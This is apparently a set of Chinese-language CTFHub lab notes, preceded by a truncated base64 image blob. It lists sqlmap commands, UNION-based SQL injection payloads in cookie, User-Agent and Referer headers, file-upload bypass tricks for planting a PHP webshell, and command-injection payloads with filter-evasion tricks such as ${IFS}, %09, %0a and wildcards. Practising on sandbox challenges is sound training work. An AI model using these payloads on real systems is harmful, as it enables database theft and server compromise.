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)
sqlmap
sqlmap -u " http://challenge-58442e11e1306e17.sandbox.ctfhub.com:10080/?id=1" --dbs -technique T
MySQL结构
-1 union select 1, group_concat(djbtjjrnuq) from sqli.pqfzaflkkt;
cookie注入
sqlmap -u " http://challenge-52d3494f9e4a406f.sandbox.ctfhub.com:10080/" --cookie "id=1" --level 2 --dbs
UA注入
user-agent: -1 union select 1,group_concat(hddxcgzzsv) from sqli.bgerzmdwpi;#
sqlmap:
sqlmap -u "http://challenge-f7a6b5d5665981cc.sandbox.ctfhub.com:10080/" --user-agent "123" --level 3 --dbs -technique U --dbms
Refer注入
同上,只不过在referer中输入SQL语句
XSS
反射型
文件上传
无验证
前端验证
把PHP文件后缀改为jpg,抓包再改回php
.htaccess
上传.htaccess和hhh.jpg
MIME绕过
正常上传,抓包,将content-type改为 image/jpeg
00截断
双写后缀
文件头检测
将一句话马改为jpg后缀,抓包,修改后缀为php,并添加gif头
RCE
命令注入
127.0.0.1 & ls
过滤cat
127.0.0.1 & more flag_162822816029866.php
过滤空格
使用${IFS}代替空格(可以代替空格的有IFS$9、%09、%0a、<、>、<>、{,}、${IFS}等)
过滤目录分隔符
使用;符号分割命令
127.0.0.1 & ls
发现flag_is_here目录
127.0.0.1 & cd flag_is_here;ls
发现flag_44052408916433.php文件
127.0.0.1& cd flag_is_here;ls;cat flag_44052408916433.php
查看源代码得到flag
过滤运算符
127.0.0.1 ; cat flag_991932693945.php
综合过滤练习
过滤了|,&,;, ,/,cat,flag,ctfhub
%0a(换行符)可以代替;符号,但是要在url处输入,不然会被再次转义
%09或者${IFS}等,可以替代空格
通配符 * ?
127.0.0.1%09%0a%09cd%09fla?_is_here%0amore%09fla?_260832613315632.php#
永远相信 永远热爱